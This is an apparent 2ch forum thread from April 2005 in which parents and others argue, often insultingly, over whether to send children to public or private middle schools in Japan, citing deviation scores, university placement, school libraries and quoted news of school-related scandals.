跡を継ぐから就職に困らないので、公立に逝かせるのはアフォな零細企業のおっちゃんの考え。

426 :実習生さん:2005/04/12(火) 01:37:05 ID:QDwYS5+R

>>423

あたり前の事がなされていない現実。

あたり前のことを当たり前にやることは大事な事なんだな、これが。

4、掃除をさぼらない 

ってのもいるかと思ったw


427 :実習生さん:2005/04/12(火) 01:38:38 ID:AH0auoyB
>>423
別にその程度の事は
私立中学だったら言われないというわけじゃない。

428 :実習生さん:2005/04/12(火) 01:40:26 ID:AXaK9EaZ
昔の思い出。
中学受験なんかぜんぜんする気なかったのですが
キレイなエントランスやおしゃれなカフェテリアのある
新築私立中をいくつも見てまわらされたあげく
学区の公立中に連れて行かれ
カギの壊れたくさいトイレやサビだらけの水飲み場、
でかい臭い運動靴が散乱した下駄箱とかを見せられて
「あんた私立受けなかったらここへ行くのよ」とトドメをさされ
私立受験を決意しました。親の作戦勝ちか・・・
最近は公立もキレイな校舎がありますね(税金の無駄)。


429 :実習生さん:2005/04/12(火) 02:00:23 ID:K6PoptsQ
>>428
トイレで決めるのか…

それから文化的衛生的な教育環境を国民の義務であり権利である
中学教育の為に用意するのはちっとも無駄じゃないだが…

なんでもかんでも公立を非難すりゃいいわけじゃないぜぇ。

430 :実習生さん:2005/04/12(火) 02:01:05 ID:AXaK9EaZ
けどエアコンは公立にはいらないでしょ。

431 :実習生さん:2005/04/12(火) 04:41:56 ID:+QRuT5dS
>>428
公立はハード面以上にソフト面に欠陥が目立つ。
だから私立を狙う人が多い。

432 :名無し@教育板:2005/04/12(火) 04:55:52 ID:5YgkUcj3
>>418
>>420

おまえ 馬鹿すぎ。
話をすりかえているうちにどんどん元の話さえわかんなくなっている。

>394は漏れじゃない

>>394がおまえじゃないことなんてわかっているよ。「おまけ」の元はここからだ。
おまえはすべてのレスでどんどん話をすりかえて自分で話がわかんなくなっているんじゃん。





433 :名無し@教育板:2005/04/12(火) 05:02:03 ID:5YgkUcj3
>>418
>進学実績≒入学時の偏差値になってるのは明らかだろう。

全然関係ない。
偏差値は入試時の目安で合格のために必要だからそれにより志望校が変わるのは当たり前。
したがって偏差値55か60に志望変更したことが、「進学実績だけを見てあとはおまけ」という価値観によるものだなんてことは言えない。
なお、附属校など進学実績と入学時の偏差値がリンクしない学校もある。

>「日本の中学」ということで選んで、
私立中という「おまけ」で選んでるっていう解釈も確かにできるね。

頭悪すぎ。



434 :名無し@教育板:2005/04/12(火) 05:12:50 ID:5YgkUcj3
>>420
>目安じゃなくてそれ以外の条件が基本的にはないから受験学力養成以外が「おまけ」になるんだよ。

2ちゃんでランキングデータのコピペを貼りまくっているアホな塾講がいいそうなセリフだな。
学校にそんな馬鹿なことを求める親なんかいないよ。
そりゃ基本的なそれ以外の教育があったうえで、学力に見合った学校を選ぶことはあるが、
また「受験学力養成」だけありゃいい=あとは「おまけ」なんて親はいないって。

>受かるかどうかの目安ってだけなら、最初に50の学校を志望校にしたらたとえ55になろうと60になろうと
その学校を志望すればいいだけの話。

まったく関係のない話。おまえがわからないだけ。

>最初は家から近い共学の宗教関係なく、比較的自由で自主自律の精神の学校を志望していたのに
偏差値があがると、男子校で頭から靴までがちがちに校則があるキリスト教系の学校に
ころっと変わったりね。さらにあがると今度は国立のほうが安くすみそうだしそっちに〜なんて
いい出す親もいてるんだよ。w

はいはい、それとこれとは全然話が別。




435 :名無し@教育板:2005/04/12(火) 05:16:01 ID:5YgkUcj3
とにかく、

「偏差値だけをファクターに学校を選ぶ」親がいるとしても、
その親が「受験学力養成だけであとはおまけ」と考えているとは言えない。

436 :名無し@教育板:2005/04/12(火) 05:23:36 ID:5YgkUcj3
>>419
>本当に頭が良ければ、公立行っても問題はないよ。

このスレで「本当に頭が良ければ」って書いた香具師は例外なく馬鹿でした(w

後だしジャンケンみたいなものだよ。
「本当に頭が良ければ」なんていうのは・・・

とにかく、ここは、
普通の、あんたの言う中途半端な人間がどうするべきかの話をするところなの。
世の中すべてだいたいそうだけど。


437 :実習生さん:2005/04/12(火) 09:24:43 ID:ThptUtXP
>>463
>後だしジャンケンみたいなものだよ。
>「本当に頭が良ければ」なんていうのは・・・
本当に頭の良い人を知らないな。
結果じゃないよ、大学受験の準備を高校3年から始めて1日3時間の勉強時間で東大に合格する子もいる。
陰で勉強していたのだろうって?、うちの子だから良くわかります。
逆にいくら勉強してもその域に達しない子もいる。
達しないから勉強せざるを得ないだけなのだがそれでも無理。
ま、学校による差って結果的にはそれほど無いように感じる。


438 :実習生さん:2005/04/12(火) 09:56:24 ID:9fQa5DOr
>学校にそんな馬鹿なことを求める親なんかいないよ。

あんたは、ずいぶんと建前の世界で生きているお気楽チャンか、世間知らずかどっちかじゃないの?

生々しい親の世界は、世間的に見栄を張れる学歴を持つ大学に入れるのに血眼になってる人たちも無視できないぐらい多いですよ?
それを「そんな親いない」なんて、どこの国の情報ですか?
日本じゃなさそうですねw

まあ、そういう必死な親を冷ややかな目で見るか、受け入れるかは別の問題ですが。

439 :実習生さん:2005/04/12(火) 10:18:42 ID:TbE8zPYX
公立中は誰でもはいってこられるから嫌なんだよ。
貧乏人のがきと一緒に勉強させたら子供がかわいそうだろ

440 :東大生:2005/04/12(火) 10:42:46 ID:Cue9PD2c
東大生の親にしてはむちゃくちゃ馬鹿臭い奴がいるなw
子供は何年入学?
詐称喚問したいんだけど。
もちろん保護者でも絶対知ってる質問をね。

441 :名無し@教育板:2005/04/12(火) 11:02:06 ID:5YgkUcj3
>>437
おお、やっぱり底抜けの馬鹿だったじゃん!

おまえの言いたいことは、うちの子=本当に頭の良い人
ってタダの自慢じゃん(w

むきだしの親馬鹿もまあいいけど、その基準が、東大合格?
あほか(w

つまり、「うちの子は高3から1日3時間の勉強で東大合格しました」ってことだろ?
だから何?




442 :東大生:2005/04/12(火) 11:13:30 ID:Cue9PD2c
子供を東大に行かせられる親で『地頭ww』なんて
概念に取りつかれている人は余りいないと思うんだけどな?

443 :名無し@教育板:2005/04/12(火) 11:21:54 ID:5YgkUcj3
>>438
偏差値輪切りで志望校を決めるにしろ、
6年後の進学実績を気にするにせよ、
それがメインの学校選びになるにせよ、
学校に「受験学力の養成」以外は期待しない、
なんて親はいないよ。

そりゃどんなバリバリの受験少年院だって、徳育や体育とのバランスを考えている。

>生々しい親の世界は、世間的に見栄を張れる学歴を持つ大学に入れるのに血眼になってる人たちも無視できないぐらい多いですよ?

あんたからそう見えるからと言って、そういう親でさえ、「学校での受験学力養成以外はペットボトルのおまけ」なんて思ってないって。
しかもそんな馬鹿親が「多い」なんて・・・あまりにも自虐的だよ(w

444 :実習生さん:2005/04/12(火) 11:56:19 ID:tkCfZdOa
■◆♪公立中学に居たドキュソたちの末路♪◆■

http://tmp.2ch.net/joke/kako/1011/10114/1011423251.html


445 :実習生さん:2005/04/12(火) 11:58:00 ID:1dJmRBRG
>432
じゃあどこどういうふうにすりかわってるのか、書いてくれよ。w

394は進学実績を買う、それ以外はおまけっていってる
395は進学実績以外をおまけと思うDQNな親は公立中にいかせるという
397で漏れが進学実績をおまけと思う親は進学実績をアピールしてる私立中にいかせるんだから
私立中に行く親の中にDQNがいてるという。
なぜなら進学実績をアピールしてる公立中学がないんだから、
進学実績を買う親がいかせるわけはない。

進学実績をアピールしてる私立中
進学実績をアピールしない私立中
進学実績をアピールしない(できない)公立中

394が言う進学実績を買うDQNな親がなぜ公立中を選択するんだよ。w
進学実績をアピールしてる私立中に行かせるにきまってるだろ。w
こんな簡単なことがなぜわからんのだ。

私立が優れてる、でもどこが優れてるかはいえない。
話をすりかえてる、でもどこをすりかえてるかはいえない。
そんなんばっかりだろ。w
わかんなくなってるのはお前の頭が悪いからだろ?
話の展開についていけない頭の悪さをまず反省しろw。馬鹿w


446 :実習生さん:2005/04/12(火) 12:02:33 ID:1dJmRBRG
>434

> まったく関係のない話。おまえがわからないだけ。
関係はある。

> はいはい、それとこれとは全然話が別。
話は同じ。

あほは公立はDQNっていいつづけてたほうがいいぞ。
下手に書き込みするとあほがさらに際立つからな。w


447 :実習生さん:2005/04/12(火) 12:14:06 ID:Bq/V+shL
私はよく塾仲間のお母様方と話ますが、皆さん進学実績意外はほとんど
気にされませんよ。それプラス入る時の偏差値ですね。
同じ偏差値なら6年後の実績を見て決めてます。
だれが高い教育費を負担してまであほな大学にいかせられますか?

448 :私立擁護派公立出身地底:2005/04/12(火) 12:16:28 ID:/YGf5ygY
>>440
俺もそう思う。2chには東大生がいないと思っているのか
アホ臭い詐称にみえるなw
尋問しちゃってしちゃって。

ペットボトルのおまけの例えが出ているけど
「学力なんかどうでもいいですから、
科目勉強も一切させなくていいですから
人格形成だけに重点を注いでください」
みたいな親は私立にも公立にもめったにいないだろうっていう話だよ。
学力をつけるとかそういう話はもう大前提で、
さらに何かを身に付けさせてくれるところを探すわけで、
学力すら身につかない学校に魅力を感じない親は多いんじゃないの?

東京の公立中の選択性でも、大半の親は「授業」とか「その中学の学力平均」
とかいうデータに目を光らせると思うんだけど。

449 :名無し@教育板:2005/04/12(火) 12:17:20 ID:5YgkUcj3
>>445
>進学実績を買うDQNな親がなぜ公立中を選択するんだよ。w

進学実績を買う が問題ではなく、

>395で書いたように、

受験学力の養成以外はおまけみたいなもの、
と平気で言える人間、それがDQNなんだろうな。
そしてそういうアホが子供を公立中に行かせる。

と言うこと。

受験学力養成や進学実績その他を重視するのもアピールするのもいいの。OK。
問題は、、その他を「おまけ」と切り捨てちゃうDQNな親。
公立中の親にもさすがにそんなにたくさんはいないと思うがな・・・それほどのDQNは。

とにかく、おまえは、オレが「捨てちゃうこと」を問題にしているのに
途中から「拾っていること」に話をそらしちゃっているでしょ。



450 :実習生さん:2005/04/12(火) 12:26:14 ID:9fQa5DOr
>>447さんの意見が親の本音でしょうw

そういう意味では、親から進学をPRしている私学の受験勉強以外は所詮「おまけ」なんですよ。
たまたまいい環境、設備であれば「案外ラッキーじゃない?」みたいな感じですね。


451 :私立擁護派公立出身地底:2005/04/12(火) 12:32:27 ID:/YGf5ygY
偏差値と進学実績を基準に学校を選んでいて
偏差値も進学実績も同じ2つの高校があったら
そこで初めてオプションの違いに目が行くっつーことだね。

452 :私立擁護派公立出身地底:2005/04/12(火) 12:32:46 ID:/YGf5ygY
高校じゃなくて学校ね。すまん。

453 :実習生さん:2005/04/12(火) 12:35:46 ID:HCfwH+mV
と言うより進学実績のない新興校こそは設備に投資するのだろう。


454 :実習生さん:2005/04/12(火) 12:44:48 ID:iRHkkYcP
>>442
そうそう、受験に必要なのは地頭?よりも情報ですね。
東大、医学部、早稲田等などそれぞれの入試突破に
必要な情報があります。

いくら地頭??の良い人でも周囲から全く情報の得られない環境では
受験に成功はしないでしょう。
エールの体験記や和田さん本等だけでは明らかに不足してますね。

その点、長年にわたる受験情報が蓄積されている進学校の生徒は
有利でしょうね。

ただ受験に限らず日常生活、ひいては人生全般においても
高領域において優位に過ごせる為の情報を供給できるところに
いわゆる名門校の名門校たる利点があると思います。

ですから上位大学生であればあるほど入学後にそれまで過ごしてきた
環境が大切になってくるのです。

そのことは貴殿も東大生ならばはっきりと実感していることでしょう。



455 :実習生さん:2005/04/12(火) 13:09:48 ID:iRHkkYcP
>>447
確かに中学受験を志す親御さんの中には
そういう方がおられるのが実情ですね。

大抵は本人が低学歴でコンプを持った方に多いようです。

残念ながらそういう親御さんの子弟は結局、
大学受験までいくと成功しないことが多いようです。

私立中に行かせるメリットは受験以外にも
多くあることを全く認識できない人には
私立中の利点も活かせないでしょうから。

『子供は東大に入れる』(データーハウス)という本があります。
子供が国私立中→東大のルートを辿った母親の手記ですが
この本を読むと単に大学受験のためだけに中学受験させているのではない
親もいることがわかります。

私が言う高領域で生きるための情報の大切さもよく判る本です。

456 :実習生さん:2005/04/12(火) 13:11:51 ID:1dJmRBRG
>449
おまえが勝手におまけ=捨てるものという脳内で解釈をしてるだけじゃね〜か。
394はおまけだといってるだけで、捨てるともなんともいってないじゃないかw
捨てちゃってるのはおまえだけなんだよ。w
おまえがおまけをすてるか、使うか、コレクションするかなんてどうでもいいんだよ。
ほんとにばかだな?

457 :実習生さん:2005/04/12(火) 13:25:38 ID:TbE8zPYX
いまどき公立中にいかせるなんてネタだろ

458 :実習生さん:2005/04/12(火) 13:29:59 ID:jgC5/rIe
>>457
まあ、公立派自体もネタなんだけどなw
本気で公立をいいと思っているなんて
考えられん

俺はいつもこのスレ楽しませてもらっているがw

459 :実習生さん:2005/04/12(火) 13:31:48 ID:Bq/V+shL
>>455
中学受験を目指す親のほとんどの意見だと思っていただいていいと思います。
なぜなら高学歴のアドバンテージを皆さん解っているからです。
私たちの合言葉は、学歴と財産は遺伝するです。


460 :実習生さん:2005/04/12(火) 13:49:58 ID:Bq/V+shL
実績の出せない私立(あえて底辺とは言いません)に行った方たちというのは
何校か受験したのに駄目で仕方なくという方がほとんどです。
今更公立には行けないしという苦肉の策。
その反対に、開成だけ受けて落ちたら公立という思い切りのいいかたもいます。
どちらをDQNと思うか、あるいは思わないかは人によると思いますが。

461 :実習生さん:2005/04/12(火) 13:50:43 ID:TbE8zPYX
>>458 公立派ももちろん公立がいいとは思ってないけど
しかたなく通わせてるのが本当でしょう

462 :実習生さん:2005/04/12(火) 14:07:24 ID:1dJmRBRG
>458
どこに公立がいいなんて書いてる香具師がいてるんだよ。
いね〜よ。ばかじゃね〜か?

463 :実習生さん:2005/04/12(火) 14:09:50 ID:ThptUtXP
>>455
>『子供は東大に入れる』(データーハウス)という本があります。
>子供が国私立中→東大のルートを辿った母親の手記ですが
>この本を読むと単に大学受験のためだけに中学受験させているのではない
>親もいることがわかります。
これが本音かどうかは別にしてもたった1人の手記で全ては語れない。(=アンタの周りだけで判断しないこと。)
中学受験の入学偏差値と大学進学実績が比例しているのは、ほとんどの人が偏差値(≒進学実績)で学校を選択していることを如実に示していると思うが。


464 :実習生さん:2005/04/12(火) 14:22:25 ID:Bq/V+shL
母親の立場からいえば本音は大学進学実績と偏差値です。
でもそれを前面に出すとあまりにもえげつないと言うか
品がないので受験の為だけではありませんよという
エクスキューズをつけるわけです。
結果として東大などの難関大学に入ればそのエクスキューズの
部分だけを過大評価する人があらわれるということ。

465 :実習生さん:2005/04/12(火) 14:42:37 ID:DdF/kLIG
>>447
入り口の偏差値と出口の進学実績だけで決めないほうがいいです。
例えば海城と巣鴨の場合、出来るだけ情報を集めた上で
結局ものの言い方が違うだけでやることは大差ないし自分の子にはどちらでも大丈夫と
思えるのならいいのです。でも単に偏差値・進学実績だけで他を考慮せずにどちらでも
というのはありえないと思いますよ。
それから通っていた塾に上ふたりの中学受験を経験後3人目の受験という方がいましたが
学校側の勉強面でのサポート体制や勉強・生活指導のアプローチの仕方などの情報に詳しく
子供さんの性格的なことをよく考えられていて
偏差値でギリ入れる学校を飛ばしてその下のランクに入学、
理Vではないですが国立医に現役入学されました。
御三家はじめ偏差値の高い学校に合格出来た時はやったーとなりますが
世間的な学校評価と我が子の個人的なメリット・デメリットは一致しない場合もあります。
偏差値・進学実績以外の部分もよく考えるべきだと思っています。



466 :実習生さん:2005/04/12(火) 14:47:32 ID:gJs9zfL9
>>462
よくみろよwww
いろんなタイプがいるだの、タダだの
DQNがいる中での荒波だの言っているのが居るじゃないかよ
どっちがバカだ?


467 :実習生さん:2005/04/12(火) 14:55:09 ID:Bq/V+shL
>>465
やはり偏差値ははずせない要素ですね。
海城と巣鴨では校風が違うのでそういう場合は校風も考慮すれば
いいと思いますよ。
巣鴨のように校則のうるさいところでは息がつまるという
ご子息もいるでしょうから。
そのてん海城は自由ですからね。
でもその2校なら偏差値的には同じ層がうけるところです。
いくらそれ以外の部分といってもあまり偏差値がかけはなれて
いては天秤にはかけないでしょう。

468 :実習生さん:2005/04/12(火) 15:37:14 ID:DdF/kLIG
もちろん偏差値を考えない受験校選びは不可能ですし、
一番大きな目安となることに異論はありません。
ただ偏差値・進学実績だけで他の部分を考慮に入れない選び方はしないほうが
ということです。
それと海城・巣鴨に限らずあの学校は厳しいとか自由だという評判は
イメージと実際が少々違う場合があるので、塾や受験雑誌の情報だけでなく
受験の可能性がある学校については親自身が可能な限りの手段で調べることを
お勧めします。


469 :実習生さん:2005/04/12(火) 16:35:01 ID:1dJmRBRG
>466
いろんなタイプがいるというと公立マンセーになるのかよ。w
ただだというと公立マンセーなのかよ。w
DQNがいる中での荒波だというと公立マンセーなのかよ。w
どこにも私立より公立がすばらしい、公立にいくべきだなんて書いてないだろ。w
書いてもいないし、そんな意図もない物を読んで、
誤った解釈をするのが国語力のない馬鹿なんだよ。w

470 :名無し@教育板:2005/04/12(火) 17:58:26 ID:5YgkUcj3
>>456
>おまえが勝手におまけ=捨てるものという脳内で解釈をしてるだけじゃね〜か。
394はおまけだといってるだけで、捨てるともなんともいってないじゃないかw

おまけをコレクションするとか捨てるとかの問題じゃないでしょうが。
中等教育の重要なコンテンツであるのに判断の要素としては「切り捨てちゃう」こと と ペットボトルのおまけを「捨てる」こと は全然違う話だ。
おまえの頭ではその区別がつかないだけ。

もう一度、繰り返してやる。

受験学力の養成以外はおまけみたいなもの、
と平気で言える人間、それがDQNなんだろうな。







471 :名無し@教育板:2005/04/12(火) 18:08:49 ID:5YgkUcj3
>>469
公立マンセーには正確には2種類いて、

公立中>>>私立中 と単に考えている香具師

これを狭義の公立マンセーとすると、おまえはそれだけを「公立マンセー」とみなしている。

実は、
私立中>公立中
とわかってはいるが、その差よりも
金や家から近いことや地方にいるから通えないや
その他もろもろのことの方が大きいと考えている香具師も公立マンセーなんだよ。

472 :実習生さん:2005/04/12(火) 18:32:51 ID:iRHkkYcP
>>463
その本は15人からなる手記ですよ。
ちょっと開成に偏りすぎているという感じがしますが。

473 :実習生さん:2005/04/12(火) 20:10:34 ID:ouidVfv6
父親が国立で母親の私は私立出身ですが、子供は公立中に進学しました。
感想はいろいろありますが、私立のほうが明らかに良いと思った点は
図書室が充実していることです。

公立で楽しみなのは、1週間の職場体験です。
私は職場で中学生の生徒さんの受け入れを経験しましたが、自分の子供にも
是非経験させたいと思いました。
私立中で職場体験をやっているところは少ないですからね。

474 :実習生さん:2005/04/12(火) 20:30:43 ID:e4UOK2WK
>470
おまえは本当にたとえ話ができない香具師なんだな。
おまえにたとえ話をしたのが間違いだったな。w
おまえはおまけというものになるとすべての人が「判断の要素」として
切り捨てるって勝手に決め付けてるんだよ。
おまけはおまけとして判断の要素に加わってるんだ。
人によって何をおまけとするか、おまけをどの程度大事なものとするかは人それぞれなんだよ。
ただし、当然おまけなんだから第一の条件でない事が前提だけどな。
それがわからんお前は馬鹿だってことだよ。w

得意のきめ台詞でもかかないのか?「公立はDQNだ!」それだけ常に書いとけよ。w

475 :実習生さん:2005/04/12(火) 20:42:34 ID:e4UOK2WK
>471
またバカきたな。っておもったら同じバカかよ。w

458で「本気で公立がいいと思ってる」といってることに対しての
462で「どこに公立がいいなんて書いてる香具師がいてるんだよ。」
ってなった後につづくんだ。
これはお前がいう狭義の公立マンセーの話題なんだよ。
広義の公立マンセーの事なんか話してね〜んだ。
お前あたまわるすぎるぞ。w


476 :実習生さん:2005/04/12(火) 20:50:39 ID:e4UOK2WK
>473
図書室かあ。それは魅力でしょうな。
公立の図書室は確かにしょぼいですからな。
司書制度も機能してませんしな。
大学付属だと、大学の図書館の本も簡単に借りれたりするなら
さらに魅力倍増なんだけどね。
実際はそういったことは無理なんでしょうかね?

477 :実習生さん:2005/04/12(火) 21:47:02 ID:sRSzPEJA
★<中学生ホスト>札幌ススキノで働く クラブ経営者ら逮捕

・男子中学生3人(当時)を札幌市の繁華街ススキノのホストクラブで働かせて
 いたとして、札幌手稲署と北海道警少年課などは11日、共同経営者の同市
 白石区米里5の1、伊藤和憲(35)▽同市中央区南6西12、上杉尊(37)と
 従業員1人の3容疑者を風営法違反(年少者雇用)の疑いで逮捕した。

 調べでは、伊藤容疑者らは1月上旬〜2月中旬、同市手稲区内の公立中学生
 3人(いずれも当時15歳)を年齢の確認をせずにホストとして雇用し、深夜に
 働かせた疑い。勤務日数は多い生徒で26日、少なくて12日だったという。
 3容疑者は容疑を認めている。

 2月中旬に少年の親が同署に「子供が夜、家に帰ってこない」と相談したこと
 から発覚した。3人は友人同士で、うち2人がまず求人雑誌でこの店の募集
 記事に応募して働き始めた。応募した理由について「ホストに興味があった」と
 話している。
 http://headlines.yahoo.co.jp/hl?a=20050411-00000160-mai-soci

・調べによると、伊藤容疑者らは、今年1月上旬から2月下旬にかけて、同市
 中央区南7西4の飲食店で、同市手稲区に住む当時15歳の市立中学3年
 男子生徒3人を雇い、深夜に接客させた疑い。
 この店は、女性客に男性従業員が接客する形態だった。(抜粋)
 http://headlines.yahoo.co.jp/hl?a=20050411-00000515-yom-soci


http://news19.2ch.net/test/read.cgi/newsplus/1113234633/l50

478 :実習生さん:2005/04/12(火) 22:11:15 ID:AH0auoyB
>>473
うちも学校の図書室はショボイですが、
自転車で5分の所に立派な市立図書館があります。
土日には自分で行けるし
学校で「こんな本が読みたい」と言うと司書の先生が取り寄せてもくれます。
たくさんある公立小中学校にそれぞれ充実した図書室は無駄な気もするのですが。

職場体験は良いですね、私もとても良い試みだと思います。
受け入れ先の方は大変でしょう、感謝してます。

479 :名無し@教育板:2005/04/12(火) 22:40:16 ID:5YgkUcj3
>>474
>おまけはおまけとして判断の要素に加わってるんだ。

そんなもので判断するのは子供だけだって・・・
みなさん、おまえほどガキンチョじゃないだろ(w

徳育も体育も受験学力養成以外の教育もおまえにとってはペットボトルのおまけなんだろ?
でもそういう香具師をDQNと言うんだよ。


480 :名無し@教育板:2005/04/12(火) 22:47:03 ID:5YgkUcj3
>>475
>これはお前がいう狭義の公立マンセーの話題なんだよ。
>広義の公立マンセーの事なんか話してね〜んだ。

わかっているよ。だからそう書いたじゃん。

でもおまえは広義の公立マンセーじゃなかったのか?


481 :実習生さん:2005/04/12(火) 22:59:20 ID:tpH+Ql7G
>徳育も体育も受験学力養成以外の教育もおまえにとってはペットボトルのおまけなんだろ?
でもそういう香具師をDQNと言うんだよ。

じゃあ、やっぱり「子供を私立中に入れる親にもDQNが多い」じゃんwww

482 :名無し@教育板:2005/04/12(火) 23:10:37 ID:5YgkUcj3
>>476
>大学付属だと、大学の図書館の本も簡単に借りれたりするなら
>さらに魅力倍増なんだけどね。

大学の附属でも中学生が大学の図書館に少なくとも学部学生と同じレベルでアクセスできるのは少ない。
まずキャンパスが一緒のところが少ない。また慶應普通部のように紹介状を先生に書いてもらわなきゃならないケースもある。
意外なのは武蔵。同じキャンパスにある武蔵大学の図書館が、中学生でも、学部学生並みに使える。中高生には校舎に専用図書館もある。

483 :実習生さん:2005/04/12(火) 23:56:25 ID:HCfwH+mV
おいおい…公立に進学させるのがネタだとか
よくもまあ。仮に都内に限っても四人に三人は公立に言ってんだぞ
大体、お前等全員親じゃないだろうしそれはいいとして
稼げるのか?こんな場所でアホなレスするだけの日常で、子供を私立に行かせるだけの
金を。まあ俺は公立派だから高みの見物をさせてもらうが

484 :実習生さん:2005/04/13(水) 00:48:32 ID:6bK6bMRJ
しかしまあ皆さんいい大人になって
ずいぶんよその学校のことにお詳しいですね。
いったいどんな仕事してるんですか。w

485 :実習生さん:2005/04/13(水) 02:32:27 ID:Pwe4q99l
>>484
公立出身のニートやヒキコモリが
「オレの人生を狂わせたのは公立だ」
「私立に行ってれば、こんなことにはならなかった」
と叫んでるだけだと思うよ。

486 :実習生さん:2005/04/13(水) 02:56:10 ID:0cMXiOvO
子供を公立にしか行かせられない貧乏な
主婦が暴れているのも多そうだね。
あるいは馬鹿日教組教師かな。

487 :実習生さん:2005/04/13(水) 04:03:38 ID:Zfq3Tbsg
>480
話をすりかえるなよ。w
狭義の公立マンセーの話をしてるときに広義の公立マンセーの定義で書いてたら
つじつまがあわないだろ。w


488 :実習生さん:2005/04/13(水) 04:43:46 ID:Zfq3Tbsg
>479
おまえは話をすりかえるのがすきだな。w
おれにとって受験学力養成以外の教育がペットボトルのおまけなんていってないんだよ。
受験学力養成以外の教育をおまけと考える奴がDQNであるならば
その場合のDQNは公立に行かずに私立を選択するっていってるんだよ。w



489 :名無し@教育板:2005/04/13(水) 09:22:12 ID:RIBmlDhO
>>487
あのねえ、狭義の公立マンセーも広義の公立マンセーもごっちゃにしてごちゃごちゃになっちまった
おまえの話を、オレがそうやって峻別してわかりやすくしてやったんじゃん。

狭義の公立マンセーも広義の公立マンセーも目くそ鼻くそ。


490 :実習生さん:2005/04/13(水) 09:25:33 ID:C8WF+TUo
偏差値40前後の中高一貫校って不良になりそうな校風とかいじめとかありますか?

491 :名無し@教育板:2005/04/13(水) 09:33:00 ID:RIBmlDhO
>>488
>受験学力養成以外の教育をおまけと考える奴がDQNであるならば
その場合のDQNは公立に行かずに私立を選択するっていってるんだよ。w

↑これは話をすりかえた後の話だな。最初は、>>397

受験学力の養成以外がおまけだと言う人間がDQNなら
それをアピールしてる私立中(すべての私立じゃない)に通わせる親がDQNだろ。

全然違うじゃん(ww


492 :実習生さん:2005/04/13(水) 13:06:21 ID:hSmEH+m5
>489
ごっちゃにしてるのはおまえだけなんだよ。
漏れ自体が広義か狭義かそれ以外の公立マンセーであるかどうかに関わらず、
狭義の公立マンセーを前提にしての書き込みであるのは内容から明らかなんだよ。
お前が馬鹿だから書き込みの前提が狭義であるんだから
漏れの書き込みも当然狭義で行わなければ話がおかしくなるって事を理解できないんだろう。
だからお前は漏れ自体が広義の公立マンセーであるのにも関わらず(これ自体も誤った推測)
狭義の公立マンセーでしか話をしてないとかわけのわからないことをいいだしてるんだよ。w

>491
だからどうちがうんだよ。w
「アピールしてる私立中(すべての私立じゃない)に通わせる「一部の」親がDQNだろ。」
なら正しいのか?wだったらそれでいいよ。w
「公立中を選択しない」って事を言うための書き込みなんだから
私立を選択する側の細かい限定された条件まで記してないんだよ。
「一部の」だけでも不十分だって事もわかってるしな。
まあまた細かいところをつっこんでおけよ。
枝葉末節にこだわる馬鹿ってやっぱりいるんだな。w

> 狭義の公立マンセーも広義の公立マンセーも目くそ鼻くそ。

お馬鹿にぴったりの書き込みをやっと始めてくれたね。w
DQNの次は目くそ鼻くそですな。
ばかにはお似合いの断定ぶりと言葉遣いですよ。w

493 :実習生さん:2005/04/13(水) 13:08:56 ID:D5eIgz3s
ttp://dailynews.yahoo.co.jp/fc/domestic/teacher_scandal/?1113361915
贈る言葉に「国賊、性病」 小学校教諭が卒業生に

494 :実習生さん:2005/04/13(水) 13:10:11 ID:D5eIgz3s
あと、君が代関連ね

ttp://headlines.yahoo.co.jp/hl?a=20050413-00000056-kyodo-soci
「君が代」斉唱の声量調査 入学、卒業式で広島県教委

495 :実習生さん:2005/04/13(水) 15:33:45 ID:EanqQk7W
公立中は施設が古いからいやだ。赤教師も多いし売国奴だらけだ

496 :実習生さん:2005/04/13(水) 21:31:31 ID:3miR5vKK
どこの学校でも一緒だって。。。
学芸大付属校でセクハラ、6人を停職などの懲戒処分
http://www.nikkei.co.jp/news/shakai/20050413NTE2INK0113042005.html

 東京学芸大(東京都国分寺市)は13日、同大付属高校の40代の男性教諭が部活動の指導中に女子生徒3人にセクハラ行為をしたとして停職12カ月の懲戒処分とするなど、同大と同大付属校の教職員6人を懲戒処分にしたと発表した。

 同大によると、この教諭は昨年4―12月、部活動中に「肩にテーピングをする」などと生徒2人を別々に教室に呼び出し、腰に触れたり抱き寄せるなどした。別の生徒には身体的な特徴を指摘する発言をした。今年1月、生徒や保護者から被害の訴えがあった。

 ほかの処分は▽鉄棒から落下し骨折した男児を放置したのに、虚偽の事故報告書を提出した付属小の30代女性教諭を停職6カ月▽生徒の前で飛び降り自殺のまねをした付属中の50代男性教諭を同12カ月▽電車内で痴漢行為をした同大の男性事務職員を同3カ月――など。

497 :実習生さん:2005/04/13(水) 22:19:26 ID:6dvtTjIP
>どこの学校でも一緒だって。。。

なぜそう言い切れるのか。
学芸は小学受験でも中学受験でも人気ないしね。

498 :実習生さん:2005/04/13(水) 22:22:25 ID:WEVar8dK
公立は赤教師多いぞ
あのころはなんとも思わなかった
今になってわかる
全て、洗脳だったのだと

499 :実習生さん:2005/04/13(水) 22:23:45 ID:bX6ubUYR
ところでDQNってどういう意味ですか。
ぜひ教えて下さい。お願いします。

500 :実習生さん:2005/04/13(水) 22:31:38 ID:6dvtTjIP
>>499

「ドキュン」でグーグル検索すると色々出ます。

501 :実習生さん:2005/04/13(水) 22:33:17 ID:e9ghITpM
>>498
良かったな公立で。
赤嫌いなんだろ?有名な私立進学校には多いよ。
どうせ公立フゼイは麻布しか知らんのだろうが、
そりゃあ多いわ。

502 :実習生さん:2005/04/13(水) 22:35:36 ID:/o/mrNMw
DQNって何ですか?

503 :実習生さん:2005/04/13(水) 22:35:45 ID:6dvtTjIP
>>501
例えばどこ?

504 :名無し@教育板:2005/04/13(水) 22:56:36 ID:RIBmlDhO
>>492
そうじゃないだろ。
このスレではずーーーーっと長い間、「公立マンセー」を広義で使っていた。
「私立? 金の無駄」「偏差値60以下は行く意味なし」というような公立マンセーは、広義の公立マンセー。
むしろ狭義の公立マンセー=単純に「公立>私立」なんて言う香具師はさすがにあんまりいなかった。
まあ、おまえみたいなアホに何言ってもわからんだろうがな(w


505 :名無し@教育板:2005/04/13(水) 23:09:42 ID:RIBmlDhO
>だからどうちがうんだよ。w

>受験学力の養成以外がおまけだと言う人間がDQNなら
>それをアピールしてる私立中(すべての私立じゃない)に通わせる親がDQNだろ。

↑のおまえの言っていることの馬鹿さが自分でわからないのか?

もし、私立A中学が、

・大学受験のための学力養成

をアピールした場合、その私立A中に通わせる親がDQNということになる。
私立中学が、受験学力養成だけをアピールすることは異常かもしれないが、
私立中学が、受験学力養成をひとつの特長としてアピールすることはおかしいことではなく、ふつうに行われている。
実際に、御三家であっても受験学力の養成をアピールしている。

